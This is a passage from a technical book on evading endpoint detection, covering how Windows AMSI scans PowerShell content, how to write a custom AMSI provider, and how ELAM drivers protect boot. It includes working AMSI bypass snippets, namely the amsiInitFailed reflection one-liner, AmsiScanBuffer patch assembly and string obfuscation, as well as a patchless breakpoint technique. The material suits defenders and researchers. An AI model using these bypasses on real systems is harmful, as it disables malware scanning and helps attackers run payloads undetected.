download a PowerShell script from an arbitrary site. When this script is downloaded, it isn’t written to disk but rather lives as a string in memory tied to the Webclient object. From here, the adversary uses the Invoke-Expression cmdlet to run this string as a PowerShell command. This technique results in what- ever action the payload may take, such as deploying a new command-and- control agent, occurring entirely in memory. Evading EDR (Early Access) © 2023 by Matt Hand 186   Chapter 10 How AMSI Works AMSI scans a target, then uses antimalware providers registered on the sys- tem to determine whether it is malicious. By default, it uses the antimalware provider Microsoft Defender IOfficeAntivirus (MpOav.dll), but third-party EDR vendors may also register their own providers. Duane Michael main- tains a list of security vendors who register AMSI providers in his “whoamsi” project on GitHub. You’ll most commonly find AMSI used by applications that include scripting engines (for example, those that accept arbitrary scripts and execute them using the associated engine), work with untrusted buffers in memory, or interact with non-PE executable code, such as .docx and .pdf files. AMSI is integrated into many Windows components, including mod- ern versions of PowerShell, .NET, JavaScript, VBScript, Windows Script Host, Office VBA macros, and User Account Control. It is also integrated into Microsoft Exchange. Exploring PowerShell’s AMSI Implementation Because PowerShell is open source, we can examine its AMSI implementa- tion to understand how Windows components use this tool. In this section, we explore how AMSI attempts to restrict this application from executing malicious scripts. Inside System.Management.Automation.dll, the DLL that provides the runtime for hosting PowerShell code, there exists a non-exported func- tion called PerformSecurityChecks() that is responsible for scanning the sup- plied script block and determining whether it is malicious. This function is called by the command processor created by PowerShell as part of the execution pipeline just before compilation. The call stack in Listing 10-4, captured in dnSpy, demonstrates the path the script block follows until it is scanned. System.Management.Automation.dll!CompiledScriptBlockData.PerformSecurityChecks() System.Management.Automation.dll!CompiledScriptBlockData.ReallyCompile(bool optimize) System.Management.Automation.dll!CompiledScriptBlockData.CompileUnoptimized() System.Management.Automation.dll!CompiledScriptBlockData.Compile(bool optimized) System.Management.Automation.dll!ScriptBlock.Compile(bool optimized) System.Management.Automation.dll!DlrScriptCommandProcessor.Init() System.Management.Automation.dll!DlrScriptCommandProcessor.DlrScriptCommandProcessor(Script Block scriptBlock, ExecutionContext context, bool useNewScope, CommandOrigin origin, SessionStateInternal sessionState, object dollarUnderbar) System.Management.Automation.dll!Runspaces.Command.CreateCommandProcessor(ExecutionContext executionContext, bool addToHistory, CommandOrigin origin) System.Management.Automation.dll!Runspaces.LocalPipeline.CreatePipelineProcessor() System.Management.Automation.dll!Runspaces.LocalPipeline.InvokeHelper() System.Management.Automation.dll!Runspaces.LocalPipeline.InvokeThreadProc() System.Management.Automation.dll!Runspaces.LocalPipeline.InvokeThreadProcImpersonate() System.Management.Automation.dll!Runspaces.PipelineThread.WorkerProc() System.Private.CoreLib.dll!System.Threading.Thread.StartHelper.RunWorker() System.Private.CoreLib.dll!System.Threading.Thread.StartHelper.Callback(object state) System.Private.CoreLib.dll!System.Threading.ExecutionContext.RunInternal(--snip--) Evading EDR (Early Access) © 2023 by Matt Hand Antimalware Scan Interface   187 System.Private.CoreLib.dll!System.Threading.Thread.StartHelper.Run() System.Private.CoreLib.dll!System.Threading.Thread.StartCallback() [Native to Managed Transition] Listing 10-4: The call stack during the scanning of a PowerShell script block When invoked, this function calls an internal utility, AmsiUtils .ScanContent(), passing in the script block or file to be scanned. This utility is a simple wrapper for another internal function, AmsiUtils.WinScanContent(), where all the real work takes place. After checking the script block for the European Institute for Computer Antivirus Research (EICAR) test string, which all antiviruses must detect, WinScanContent’s first action is to create a new AMSI session via a call to amsi!AmsiOpenSession(). AMSI sessions are used to correlate multiple scan requests. Next, WinScanContent() calls amsi!AmsiScanBuffer(), the Win32 API function that will invoke the AMSI providers registered on the system and return the final determination regarding the maliciousness of the script block. Listing 10-5 shows this implementation in PowerShell, with the irrelevant bits trimmed. lock (s_amsiLockObject) { --snip-- if (s_amsiSession == IntPtr.Zero) { 1 hr = AmsiNativeMethods.AmsiOpenSession( s_amsiContext, ref s_amsiSession ); AmsiInitialized = true; if (!Utils.Succeeded(hr)) { s_amsiInitFailed = true; return AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED; } } --snip-- AmsiNativeMethods.AMSI_RESULT result = AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_CLEAN; unsafe { fixed (char* buffer = content) { var buffPtr = new IntPtr(buffer); 2 hr = AmsiNativeMethods.AmsiScanBuffer( s_amsiContext, buffPtr, (uint)(content.Length * sizeof(char)), Evading EDR (Early Access) © 2023 by Matt Hand 188   Chapter 10 sourceMetadata, s_amsiSession, ref result); } } if (!Utils.Succeeded(hr)) { return AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED; } return result; } Listing 10-5: PowerShell’s AMSI implementation In PowerShell’s implementation, the code first calls amsi!AmsiOpenSession() 1 to create a new AMSI session in which scan requests can be correlated. If the session opens successfully, the data to be scanned is passed to amsi!AmsiScanBuffer() 2, which does the actual evalu- ation of the data to determine if the contents of the buffer appear to be malicious. The result of this call is returned to WinScanContent(). The WinScanContent() function can return one of three values: AMSI_RESULT_NOT_DETECTED A neutral result AMSI_RESULT_CLEAN A result indicating that the script block did not con- tain malware AMSI_RESULT_DETECTED A result indicating that the script block contained malware If either of the first two results is returned, indicating that AMSI could not determine the maliciousness of the script block or found it not to be dangerous, the script block will be allowed to execute on the system. If, however, the AMSI_RESULT_DETECTED result is returned, a ParseException will be thrown, and execution of the script block will be halted. Listing 10-6 shows how this logic is implemented inside PowerShell. if (amsiResult == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED) { var parseError = new ParseError( scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent); 1 throw new ParseException(new[] { parseError }); } Listing 10-6: Throwing a ParseError on malicious script detection Because AMSI threw an exception 1, the execution of the script halts and the error shown in the ParseError will be returned to the user. Listing 10-7 shows the error the user will see in the PowerShell window. Evading EDR (Early Access) © 2023 by Matt Hand Antimalware Scan Interface   189 PS > Write-Host "malware" ParserError: Line | 1 | Write-Host "malware" | ~~~~~~~~~~~~~~~~~~~~ | This script contains malicious content and has been blocked by your | antivirus software. Listing 10-7: The thrown error shown to the user Understanding AMSI Under the Hood While understanding how AMSI is instrumented in system components provides useful context for how user-supplied input is evaluated, it doesn’t quite tell the whole story. What happens when PowerShell calls amsi!AmsiScanBuffer()? To understand this, we must dive deep into the AMSI implementation itself. Because the state of C++ decompilers at the time of this writing makes static analysis a bit tricky, we’ll need to use some dynamic analysis techniques. Thankfully, WinDbg makes this process rela- tively painless, especially considering that debug symbols are available for amsi.dll. When PowerShell starts, it first calls amsi!AmsiInitialize(). As its name suggests, this function is responsible for initializing the AMSI API. This ini- tialization primarily centers on the creation of a COM class factory via a call to DllGetClassObject(). As an argument, it receives the class identifier cor- relating to amsi.dll, along with the interface identified for the IClassFactory, which enables a class of objects to be created. The interface pointer is then used to create an instance of the IAntimalware interface ({82d29c2e-f062-44e6 -b5c9-3d9a2f24a2df}), shown in Listing 10-8. Breakpoint 4 hit amsi!AmsiInitialize+0x1a9: 00007ff9`5ea733e9 ff15899d0000 call qword ptr [amsi!_guard_dispatch_icall_fptr ] --snip-- 0:011> dt OLE32!IID @r8 {82d29c2e-f062-44e6-b5c9-3d9a2f24a2df} +0x000 Data1 : 0x82d29c2e +0x004 Data2 : 0xf062 +0x006 Data3 : 0x44e6 +0x008 Data4 : [8] "???" 0:011> dt @rax ATL::CComClassFactory::CreateInstance Listing 10-8: Creating an instance of IAntimalware Rather than an explicit call to some functions, you’ll occasionally find references to _guard_dispatch_icall_fptr(). This is a component of Control Flow Guard (CFG), an anti-exploit technology that attempts to prevent indi- rect calls, such as in the event of return-oriented programming. In short, Evading EDR (Early Access) © 2023 by Matt Hand 190   Chapter 10 this function checks the Control Flow Guard bitmap of the source image to determine if the function to be called is a valid target. In the context of this section, the reader can treat these as simple CALL instructions to reduce confusion. This call then eventually leads into amsi!AmsiComCreateProviders <IAntimalwareProvider>, where all the magic happens. Listing 10-9 shows the call stack for this method inside WinDbg. 0:011> kc # Call Site 00 amsi!AmsiComCreateProviders<IAntimalwareProvider> 01 amsi!CamsiAntimalware::FinalConstruct 02 amsi!ATL::CcomCreator<ATL::CcomObject<CamsiAntimalware> >::CreateInstance 03 amsi!ATL::CcomClassFactory::CreateInstance 04 amsi!AmsiInitialize <...> Listing 10-9: The call stack for the AmsiComCreateProviders function The first major action is a call to amsi!CGuidEnum::StartEnum(). This function receives the string "Software\\Microsoft\\AMSI\\Providers", which it passes into a call to RegOpenKey() and then RegQueryInfoKeyW() in order to get the number of subkeys. Then, amsi!CGuidEnum::NextGuid() iterates through the subkeys and converts the class identifiers of registered AMSI providers from strings to UUIDs. After enumerating all the required class identi- fiers, it passes execution to amsi!AmsiComSecureLoadInProcServer(), where the InProcServer32 value corresponding to the AMSI provider is queried via RegGetValueW(). Listing 10-10 shows this process for MpOav.dll. 0:011> u @rip L1 amsi!AmsiComSecureLoadInProcServer+0x18c: 00007ff9`5ea75590 48ff1589790000 call qword ptr [amsi!_imp_RegGetValueW] 0:011> du @rdx 00000057`2067eaa0 "Software\Classes\CLSID\{2781761E" 00000057`2067eae0 "-28E0-4109-99FE-B9D127C57AFE}\In" 00000057`2067eb20 "procServer32" Listing 10-10: The parameters passed to RegGetValueW Next, amsi!CheckTrustLevel() is called to check the value of the registry key SOFTWARE\Microsoft\AMSI\FeatureBits. This key contains a DWORD, which can be either 1 (the default) or 2 to disable or enable Authenticode signing checks for providers. If Authenticode signing checks are enabled, the path listed in the InProcServer32 registry key is verified. Following a suc- cessful check, the path is passed into LoadLibraryW() to load the AMSI pro- vider DLL, as demonstrated in Listing 10-11. 0:011> u @rip L1 amsi!AmsiComSecureLoadInProcServer+0x297: 00007ff9`5ea7569b 48ff15fe770000 call qword ptr [amsi!_imp_LoadLibraryExW] Evading EDR (Early Access) © 2023 by Matt Hand Antimalware Scan Interface   191 0:011> du @rcx 00000057`2067e892 "C:\ProgramData\Microsoft\Windows" 00000057`2067e8d2 " Defender\Platform\4.18.2111.5-0" 00000057`2067e912 "\MpOav.dll" Listing 10-11: The MpOav.dll loaded via LoadLibraryW() If the provider DLL loads successfully, its DllRegisterServer() function is called to tell it to create registry entries for all COM classes supported by the provider. This cycle repeats calls to amsi!CGuidEnum::NextGuid() until all providers are loaded. Listing 10-12 shows the final step: invoking the QueryInterface() method for each provider in order to get a pointer to the IAntimalware interfaces. 0:011> dt OLE32!IID @rdx {82d29c2e-f062-44e6-b5c9-3d9a2f24a2df} +0x000 Data1 : 0x82d29c2e +0x004 Data2 : 0xf062 +0x006 Data3 : 0x44e6 +0x008 Data4 : [8] "???" 0:011> u @rip L1 amsi!ATL::CComCreator<ATL::CComObject<CAmsiAntimalware> >::CreateInstance+0x10d: 00007ff8`0b7475bd ff15b55b0000 call qword ptr [amsi!_guard_dispatch_icall_fptr] 0:011> t amsi!ATL::CComObject<CAmsiAntimalware>::QueryInterface: 00007ff8`0b747a20 4d8bc8 mov r9,r8 Listing 10-12: Calling QueryInterface on the registered provider After AmsiInitialize() returns, AMSI is ready to go. Before PowerShell begins evaluating a script block, it calls AmsiOpenSession(). As mentioned previously, this function allows AMSI to correlate multiple scans. When this function completes, it returns a HAMSISESSION to the caller, and the caller can choose to pass this value to all subsequent calls to AMSI within the current scanning session. When PowerShell’s AMSI instrumentation receives a script block and an AMSI session has been opened, it calls AmsiScanBuffer() with the script block passed as input. This function is defined in Listing 10-13. HRESULT AmsiScanBuffer( [in] HAMSICONTEXT amsiContext, [in] PVOID buffer, [in] ULONG length, [in] LPCWSTR contentName, [in, optional] HAMSISESSION amsiSession, [out] AMSI_RESULT *result ); Listing 10-13: The AmsiScanBuffer() definition The function’s primary responsibility is to check the validity of the parameters passed to it. This includes checks for content in the input buffer Evading EDR (Early Access) © 2023 by Matt Hand 192   Chapter 10 and the presence of a valid HAMSICONTEXT handle with a tag of AMSI, as you can see in the decompilation in Listing 10-14. If any of these checks fail, the function returns E_INVALIDARG (0x80070057) to the caller. if ( !buffer ) return 0x80070057; if ( !length ) return 0x80070057; if ( !result ) return 0x80070057; if ( !amsiContext ) return 0x80070057; if ( *amsiContext != ‘ISMA’ ) return 0x80070057; if ( !*(amsiContext + 1) ) return 0x80070057; v10 = *(amsiContext + 2); if ( !v10 ) return 0x80070057; Listing 10-14: Internal AmsiScanBuffer() sanity checks If these checks pass, AMSI invokes amsi!CAmsiAntimalware::Scan(), as shown in the call stack in Listing 10-15. 0:023> kc # Call Site 00 amsi!CAmsiAntimalware::Scan 01 amsi!AmsiScanBuffer 02 System_Management_Automation_ni <...> Listing 10-15: The Scan() method called This method contains a while loop that iterates over every registered AMSI provider (the count of which is stored at R14 + 0x1c0). In this loop, it calls the IAntimalwareProvider::Scan() function, which the EDR vendor can implement however they wish; it is only expected to return an AMSI_RESULT, defined in Listing 10-16. HRESULT Scan( [in] IAmsiStream *stream, [out] AMSI_RESULT *result ); Listing 10-16: The CAmsiAntimalware::Scan() function definition In the case of the default Microsoft Defender AMSI implementation, MpOav.dll, this function performs some basic initialization and then hands execution over to MpClient.dll, the Windows Defender client interface. Note that Microsoft doesn’t supply program database files for Defender com- ponents, so MpOav.dll’s function name in the call stack in Listing 10-17 is incorrect. Evading EDR (Early Access) © 2023 by Matt Hand Antimalware Scan Interface   193 0:000> kc # Call Site 00 MPCLIENT!MpAmsiScan 01 MpOav!DllRegisterServer 02 amsi!CAmsiAntimalware::Scan 03 amsi!AmsiScanBuffer Listing 10-17: Execution passed to MpClient.dll from MpOav.dll AMSI passes the result of the scan back to amsi!AmsiScanBuffer() via amsi!CAmsiAntimalware::Scan(), which in turn returns the AMSI_RESULT to the caller. If the script block was found to contain malicious content, PowerShell throws a ScriptContainedMaliciousContent exception and prevents its execution. Implementing a Custom AMSI Provider As mentioned in the previous section, developers can implement the IAntimalwareProvider::Scan() function however they like. For example, they could simply log information about the content to be scanned, or they could pass the contents of a buffer through a trained machine-learning model to evaluate its maliciousness. To understand the shared architec- ture of all vendors’ AMSI providers, this section steps through the design of a simple provider DLL that meets the minimum specifications defined by Microsoft. At their core, AMSI providers are nothing more than COM servers, or DLLs loaded into a host process that expose a function required by the caller: in this case, IAntimalwareProvider. This function extends the IUnknown interface by adding three additional methods: CloseSession closes the AMSI session via its HAMSISESSION handle, DisplayName displays the name of the AMSI provider, and Scan scans an IAmsiStream of content and returns an AMSI_RESULT. In C++, a basic class declaration that overrides IAntimalwareProvider’s methods may look something like the code shown in Listing 10-18. class AmsiProvider : public RuntimeClass<RuntimeClassFlags<ClassicCom>, IAntimalwareProvider, FtmBase> { public: IFACEMETHOD(Scan)( IAmsiStream *stream, AMSI_RESULT *result ) override; IFACEMETHOD_(void, CloseSession)( ULONGLONG session ) override; Evading EDR (Early Access) © 2023 by Matt Hand 194   Chapter 10 IFACEMETHOD(DisplayName)( LPWSTR *displayName ) override; }; Listing 10-18: An example IAntimalwareProvider class definition Our code makes use of the Windows Runtime C++ Template Library, which reduces the amount of code used to create COM components. The CloseSession() and DisplayName() methods are simply overridden with our own functions to close the AMSI session and return the name of the AMSI provider, respectively. The Scan() function receives the buffer to be scanned as part of an IAmsiStream, which exposes two methods, GetAttribute() and Read(), and is defined in Listing 10-19. MIDL_INTERFACE("3e47f2e5-81d4-4d3b-897f-545096770373") IAmsiStream : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE GetAttribute( /* [in] */ AMSI_ATTRIBUTE attribute, /* [range][in] */ ULONG dataSize, /* [length_is][size_is][out] */ unsigned char *data, /* [out] */ ULONG *retData) = 0; virtual HRESULT STDMETHODCALLTYPE Read( /* [in] */ ULONGLONG position, /* [range][in] */ ULONG size, /* [length_is][size_is][out] */ unsigned char *buffer, /* [out] */ ULONG *readSize) = 0; }; Listing 10-19: The IAmsiStream class definition The GetAttribute() retrieves metadata about the contents to be scanned. Developers request these attributes by passing an AMSI_ATTRIBUTE value that indicates what information they would like to retrieve, along with an appro- priately sized buffer. The AMSI_ATTRIBUTE value is an enumeration defined in Listing 10-20. typedef enum AMSI_ATTRIBUTE { AMSI_ATTRIBUTE_APP_NAME = 0, AMSI_ATTRIBUTE_CONTENT_NAME = 1, AMSI_ATTRIBUTE_CONTENT_SIZE = 2, AMSI_ATTRIBUTE_CONTENT_ADDRESS = 3, AMSI_ATTRIBUTE_SESSION = 4, AMSI_ATTRIBUTE_REDIRECT_CHAIN_SIZE = 5, AMSI_ATTRIBUTE_REDIRECT_CHAIN_ADDRESS = 6, AMSI_ATTRIBUTE_ALL_SIZE = 7, AMSI_ATTRIBUTE_ALL_ADDRESS = 8, AMSI_ATTRIBUTE_QUIET = 9 } AMSI_ATTRIBUTE; Listing 10-20: The AMSI_ATTRIBUTE enumeration Evading EDR (Early Access) © 2023 by Matt Hand Antimalware Scan Interface   195 While there are 10 attributes in the enumeration, Microsoft docu- ments only the first five: AMSI_ATTRIBUTE_APP_NAME is a string containing the name, version, or GUID of the calling application; AMSI_ATTRIBUTE_CONTENT _NAME is a string containing the filename, URL, script ID, or equivalent identifier of the content to be scanned; AMSI_ATTRIBUTE_CONTENT_SIZE is a ULONGLONG containing the size of the data to be scanned; AMSI_ATTRIBUTE_ CONTENT_ADDRESS is the memory address of the content, if it has been fully loaded into memory; and AMSI_ATTRIBUTE_SESSION contains a pointer to the next portion of the content to be scanned or NULL if the content is self-contained. As an example, Listing 10-21 shows how an AMSI provider might use this attribute to retrieve the application name. HRESULT AmsiProvider::Scan(IAmsiStream* stream, AMSI_RESULT* result) { HRESULT hr = E_FAIL; ULONG ulBufferSize = 0; ULONG ulAttributeSize = 0; PBYTE pszAppName = nullptr; hr = stream->GetAttribute( AMSI_ATTRIBUTE_APP_NAME, 0, nullptr, &ulBufferSize ); if (hr != E_NOT_SUFFICIENT_BUFFER) { return hr; } pszAppName = (PBYTE)HeapAlloc( GetProcessHeap(), 0, ulBufferSize ); if (!pszAppName) { return E_OUTOFMEMORY; } hr = stream->GetAttribute( AMSI_ATTRIBUTE_APP_NAME, ulBufferSize, 1 pszAppName, &ulAttributeSize ); if (hr != ERROR_SUCCESS || ulAttributeSize > ulBufferSize) { HeapFree( Evading EDR (Early Access) © 2023 by Matt Hand 196   Chapter 10 GetProcessHeap(), 0, pszAppName ); return hr; } --snip-- } Listing 10-21: An implementation of the AMSI scanning function When PowerShell calls this example function, pszAppName 1 will contain the application name as a string, which AMSI can use to enrich the scan data. This becomes particularly useful if the script block is deemed mali- cious, as the EDR could use the application name to terminate the calling process. If AMSI_ATTRIBUTE_CONTENT_ADDRESS returns a memory address, we know that the content to be scanned has been fully loaded into memory, so we can interact with it directly. Most often, the data is provided as a stream, in which case we use the Read() method (defined in Listing 10-22) to retrieve the contents of the buffer one chunk at a time. We can define the size of these chunks, which get passed, along with a buffer of the same size, to the Read() method. HRESULT Read( [in] ULONGLONG position, [in] ULONG size, [out] unsigned char *buffer, [out] ULONG *readSize ); Listing 10-22: The IAmsiStream::Read() method definition What the provider does with these chunks of data is completely up to the developer. They could scan each chunk, read the full stream, and hash its contents, or simply log details about it. The only rule is that, when the Scan() method returns, it must pass an HRESULT and an AMSI_RESULT to the caller. Evading AMSI AMSI is one of the most-studied areas when it comes to evasion. This is due in no small part to how effective it was in its early days, causing significant headaches for offensive teams that used PowerShell heavily. For them, AMSI presented an existential crisis that prevented their main agents from functioning. Attackers can employ a variety of evasion techniques to bypass AMSI. While certain vendors have attempted to flag some of these as malicious, the number of evasion opportunities present in AMSI is staggering, so Evading EDR (Early Access) © 2023 by Matt Hand Antimalware Scan Interface   197 vendors usually can’t handle all of them. This section covers some of the more popular evasions in today’s operating environment, but bear in mind that there are many variations to each of these techniques. String Obfuscation One of the earliest evasions for AMSI involved simple string obfuscation. If an attacker could determine which part of a script block was being flagged as malicious, they could often get around the detection by splitting, encod- ing, or otherwise obscuring the string, as in the example in Listing 10-23. PS > AmsiScanBuffer At line:1 char:1 + AmsiScanBuffer + ~~~~~~~~~~~~~~ This script contains malicious content and has been blocked by your antivirus software. + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : ScriptContainedMaliciousContent PS > "Ams" + "iS" + "can" + "Buff" + "er" AmsiScanBuffer PS > $b = [System.Convert]::FromBase64String("QW1zaVNjYW5CdWZmZXI=") PS > [System.Text.Encoding]::UTF8.GetString($b) AmsiScanBuffer Listing 10-23: An example of string obfuscation in PowerShell that evades AMSI AMSI typically flags the string AmsiScanBuffer, a common component of patching-based evasions, as malicious, but here you can see that string concatenation allows us to bypass detection. AMSI implementations often receive obfuscated code, which they pass off to providers to determine if it is malicious. This means the provider must handle language-emulation functions such as string concatenation, decoding, and decrypting. However, many providers, including Microsoft, fail to detect even trivial bypasses such as the one shown here. AMSI Patching Because AMSI and its associated providers get mapped into the attacker’s process, the attacker has control over this memory. By patching critical val- ues or functions inside amsi.dll, they can prevent AMSI from functioning inside their process. This evasion technique is extremely potent and has been the go-to choice for many red teams since around 2016, when Matt Graeber discussed using reflection inside PowerShell to patch amsiInitFailed to true. His code, included in Listing 10-24, fit into a single tweet. PS > [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'). >> GetField('amsiInitFailed','NonPublic,Static'.SetValue($null,$true) Listing 10-24: A simple AmsiInitFailed patch Evading EDR (Early Access) © 2023 by Matt Hand 198   Chapter 10 When it comes to patching, attackers commonly target AmsiScanBuffer(), the function responsible for passing buffer contents to the providers. Daniel Duggan describes this technique in a blog post, “Memory Patching AMSI Bypass,” where he outlines the steps an attacker’s code must take before performing any truly malicious activity: 1. Retrieve the address of AmsiScanBuffer() within the amsi.dll currently loaded into the process. 2. Use kernel32!VirtualProtect() to change the memory protections to read-write, which allows the attacker to place the patch. 3. Copy the patch into the entry point of the AmsiScanBuffer() function. 4. Use kernel32!VirtualProtect() once again to revert the memory protec- tion back to read-execute. The patch itself takes advantage of the fact that, internally, AmsiScanBuffer() returns E_INVALIDARG if its initial checks fail. These checks include attempts to validate the address of the buffer to be scanned. Duggan’s code adds a byte array that represents the assembly code in Listing 10-25. After this patch, when AmsiScanBuffer() is executed, it will immediately return this error code because the actual instruction that made up the original function has been overwritten. mov eax, 0x80070057 ; E_INVALIDARG ret Listing 10-25: Error code returned to the caller of AmsiScanBuffer() after the patch There are many variations of this technique, all of which work very similarly. For example, an attacker may patch AmsiOpenSession() instead of AmsiScanBuffer(). They may also opt to corrupt one of the parameters passed into AmsiScanBuffer(), such as the buffer length or the context, causing AMSI to return E_INVALIDARG on its own. Microsoft got wise to this evasion technique pretty quickly and took measures to defend against the bypass. One of the detections it imple- mented is based on the sequence of opcodes that make up the patch we’ve described. However, attackers can work around these detections in many ways. For example, they can simply modify their assembly code to achieve the same result, moving 0x80070057 into EAX and returning, in a way that is less direct. Consider the example in Listing 10-26, which breaks up the value 0x80070057 instead of moving it into the register all at once. xor eax, eax ; Zero out EAX add eax, 0x7459104a add eax, 0xbadf00d ret Listing 10-26: Breaking up hardcoded values to evade patch detection Imagine that the EDR looks for the value 0x80070057 being moved into the EAX register. This evasion strategy would bypass its detection logic Evading EDR (Early Access) © 2023 by Matt Hand Antimalware Scan Interface   199 because the value is never directly referenced. Instead, it is broken up into two values, which happen to add up to the required value. A Patchless AMSI Bypass In April 2022, Ceri Coburn unveiled a technique for bypassing AMSI with- out patching amsi.dll, an activity many EDR vendors have begun to monitor. Coburn’s technique doesn’t require fork&run either, allowing the attacker to stay in their original process. The technique is quite clever. First, the attacker obtains a function pointer to amsi!AmsiScanBuffer() either from the loaded amsi.dll or by forcing it to load into the process through a call to LoadLibrary(). Next, they register a vectored exception handler via kernel32!AddVectoredExceptionHandler(). This handler allows developers to register a function that monitors and manages all exceptions in the application. Finally, they set a hardware breakpoint on the address of AmsiScanBuffer() by modifying the current thread’s debug reg- isters (DR0, DR6, and DR7). When the attacker executes their .NET code inline, the system will eventually call AmsiScanBuffer(), triggering the hardware breakpoint and invoking the vectored exception handler. This function takes the current thread context and updates the registers to match the values set when AMSI doesn’t detect malicious content, namely a return value of 0 (S-OK) in RAX and a result of 0 (AMSI_RESULT_CLEAN) in RSP+48. Additionally, it pulls the return address from the stack (RSP) and points the instruction pointer (RIP) back to the caller of the AmsiScanBuffer() func- tion. Next, it walks the stack pointer back to its position from before the call to AmsiScanBuffer(), clears the hardware breakpoint, and returns the EXCEPTION_CONTINUE_EXECUTION code. Execution resumes at the point at which the breakpoint occurred. Now Windows will take the attacker’s modified thread context and continue execution with our changes in place, pass- ing the falsified values back to the caller and letting the malicious code continue undetected. Conclusion AMSI is an incredibly important piece of the host-based detection puzzle. Its integration into software such as PowerShell, .NET, and Microsoft Office means that it sits inline of many adversary activities, from initial access through post-exploitation. AMSI has been heavily researched due to its tremendous impact on offensive operations at the time of its release. Today, AMSI fills more of a supplementary role, as nearly countless evasion strate- gies exist for it. However, vendors have caught on to this and have begun to invest in monitoring for common AMSI evasion strategies, then using those as indicators of adversary activity themselves. Evading EDR (Early Access) © 2023 by Matt Hand Evading EDR (Early Access) © 2023 by Matt Hand In 2012, adversaries launched the Zacinlo adware campaign, whose rootkit, a member of the Detrahere family, includes a number of self-protection features. One of the most interesting is its persistence mechanism. Similar to the callback routines discussed in Chapters 3 through 5, drivers can register callback routines called shutdown handlers that let them perform some action when the system is shutting down. To ensure that their rootkit persisted on the system, the Zacinlo rootkit developers used a shutdown handler to rewrite the driver to disk under a new name and create new registry keys for a service that would relaunch the rootkit as a boot-start driver. If anyone made an attempt to clean the rootkit from the system, the driver would simply drop these files and keys, allowing it to per- sist much more effectively. While this malware is no longer prevalent, it highlights a large gap in protection software: the ability to mitigate threats that operate early in the boot process. To address this weakness, Microsoft introduced a new anti- malware feature in Windows 8 that allows certain special drivers to load 11 E A R LY L AU NCH A N T IM A LWA R E DR I V E R S Evading EDR (Early Access) © 2023 by Matt Hand 202   Chapter 11 before all other boot-start drivers. Today, nearly all EDR vendors leverage this capability, called Early Launch Antimalware (ELAM), in some way, as it offers the ability to affect the system extremely early in the boot process. It also provides access to specific types of system telemetry not available to other components. This chapter covers the development, deployment, and boot-start pro- tection functionality of ELAM drivers, as well as strategies for evading these drivers. In Chapter 12, we’ll cover the telemetry sources and process protec- tions available to vendors that deploy ELAM drivers to hosts. How ELAM Drivers Protect the Boot Process Microsoft lets third-party drivers load early in the boot process so that soft- ware vendors can initialize those that are critical to the system. However, this is a double-edged sword. While it provides a useful way to guarantee the loading of critical drivers, malware authors too can insert their root- kits into these early-load-order groups. If a malicious driver is able to load before antivirus or other security-related drivers, it could tamper with the system to keep those protection drivers from working as intended or pre- vent them from loading in the first place. To avoid these attacks, Microsoft needs a way to load ELAM drivers ear- lier in the boot process, before any malicious driver can load. The primary function of an ELAM driver is to receive notifications when another driver attempts to load during the boot process, then decide whether to allow it to load. This validation process is part of Trusted Boot, the Windows security feature responsible for validating the digital signature of the kernel and other components, like drivers, and only vetted antimalware vendors can participate in it. To publish an ELAM driver, developers must be part of the Microsoft Virus Initiative (MVI), a program open to antimalware companies that produce security software for the Windows operating system. As of this writing, in order to qualify to participate in this program, vendors must have a positive reputation (assessed by conference participation and industry-standard reports, among other factors), submit their applications to Microsoft for performance testing and feature review, and provide their solution for independent testing. Vendors must also sign a nondisclosure agreement, which is likely why those with knowledge of this program have been tight-lipped. The Microsoft Virus Initiative and ELAM are closely tied. To create a production driver (one that can be deployed to systems not in test-signing mode), Microsoft must countersign the driver. This countersignature uses a special certificate, visible in the ELAM driver’s digital signature informa- tion under Microsoft Windows Early Launch Anti-malware Publisher, as shown in Figure 11-1. This countersignature is available to participants of the Microsoft Virus Initiative program only. Without this signature, the driver won’t be able to load as part of the Early-Launch service group discussed in “Loading an ELAM Driver” on Evading EDR (Early Access) © 2023 by Matt Hand Early Launch Antimalware Drivers   203 page XX. For this reason, the examples in this chapter target a system with test-signing enabled, allowing us to ignore the countersigning require- ment. The process and code described here are the same as for production ELAM drivers. Developing ELAM Drivers In many ways, ELAM drivers resemble the drivers covered in the previ- ous chapters; they use callbacks to receive information about system events and make security decisions on the local host. ELAM drivers focus specifically on prevention rather than detection, however. When an ELAM driver is started early in the boot process, it evaluates every boot- start driver on the system and either approves or denies the load based on its own internal malware-signature data and logic, as well as a system policy that dictates the host’s risk tolerance. This section covers the pro- cess of developing an ELAM driver, including its internal workings and decision logic. Registering Callback Routines The first ELAM-specific action the driver takes is to register its call- back routines. ELAM drivers commonly use both registry and boot- start callbacks. The registry callback functions, registered with nt!CmRegisterCallbackEx(), validate the configuration data of the driv- ers being loaded in the registry, and we covered them extensively in Chapter 5, so we won’t revisit them here. More interesting is the boot-start callback routine, registered with nt!IoRegisterBootDriverCallback(). This callback provides the ELAM driver with updates about the status of the boot process, as well as information about each boot-start driver being loaded. Boot-start callback functions are passed to the registration function as a PBOOT_DRIVER_CALLBACK_FUNCTION and must have a signature matching the one shown in Listing 11-1. Figure 11-1: Microsoft’s countersignature on an ELAM driver Evading EDR (Early Access) © 2023 by Matt Hand 204   Chapter 11 void BootDriverCallbackFunction( PVOID CallbackContext, BDCB_CALLBACK_TYPE Classification, PBDCB_IMAGE_INFORMATION ImageInformation ) Listing 11-1: An ELAM driver callback signature During the boot process, this callback routine receives two different types of events, dictated by the value in the Classification input parameter. These are defined in the BDCB_CALLBACK_TYPE enum shown in Listing 11-2. typedef enum _BDCB_CALLBACK_TYPE { BdCbStatusUpdate, BdCbInitializeImage, } BDCB_CALLBACK_TYPE, *PBDCB_CALLBACK_TYPE; Listing 11-2: The BDCB_CALLBACK_TYPE enumeration The BdCbStatusUpdate events tell the ELAM driver how far the system has gotten in the process of loading boot-start drivers so that the driver may act appropriately. It can report any of three states, shown in Listing 11-3. typedef enum _BDCB_STATUS_UPDATE_TYPE { BdCbStatusPrepareForDependencyLoad, BdCbStatusPrepareForDriverLoad, BdCbStatusPrepareForUnload } BDCB_STATUS_UPDATE_TYPE, 